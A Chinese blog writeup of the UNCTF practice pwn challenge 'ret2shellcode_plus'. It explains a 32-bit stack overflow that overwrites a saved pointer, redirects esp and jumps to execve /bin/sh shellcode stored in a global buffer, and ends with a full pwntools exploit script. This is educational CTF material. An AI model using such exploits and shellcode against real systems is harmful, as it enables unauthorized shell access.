MENU

UNCTF 练习场 栈溢出 ret2shellcode_plus Writeup

November 3, 2020 • Read: 330 • Pwn

寝室断电了,正好可以总结一下这段时间写的几道题目。
UNCTF练习场 ret2shellcode_plus Writeup
拿到文件先上手checksec一下
Checksec.png

只开了Full RELRO 其他都没有。
先拖入IDA F5看看
ret2shellcode_plus.png
题目很直白,进去就直接让我们输入shellcode,输入到::s中,这个位置是0x0804A040,是一个全局变量的位置,而且有运行权限,且文件没有开起PIE,我们可以直接跳到这个位置来执行shellcode。
那么,怎么能够跳到这个位置呢?
首先可以观察到13行的read,这个read读取了0x14个字节,但是实际的s只有0x10个字节,所以说,我们可以通过这个read,来覆盖掉v3。
但是这个v3能影响到什么呢?这时候我们就可以从汇编里面来观察
asm_code.png
可以看到,当我们s的内容与"yesn"相等时,则会return 0,否则直接exit(0);
所以我们可以用0来截止strcmp读入,让他读取到"yesn0",就可以绕过这个判定。

通过汇编我们可以看到这几条重要的代码

lea esp, [ebp-8] //ebp-8 就是v3的指针
pop ecx
lea esp, [ecx-4]
retn

所以我们想要ROP,那就是要控制源头的v3。
最后返回的值也就是 *(v3 - 4)位置的值
我们知道shellcode的位置是0x0804A040,那么我们就让0x0804A040位置放返回位置(0x0804A044),在0x0804A044位置放shellcode,然后最后会跳转到0x0804A044执行。

from pwn import *
from LibcSearcher import *

#r = remote('120.79.17.251', 10004)
r = process('./ret2shellcode_32_plus')
shellcode = p32(0x0804A044) + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
r.recvuntil("shellcode")
r.sendline(shellcode)
r.recvuntil("????")
payload = 'yes' + "\n\0" + 'a' * (0x10 - 0x5) + p32(0x0804A040 + 4)
r.sendline(payload)
r.interactive()

cat flag
cat flag.png

Last Modified: November 4, 2020
Archives QR Code Tip
QR Code for this page
Tipping QR Code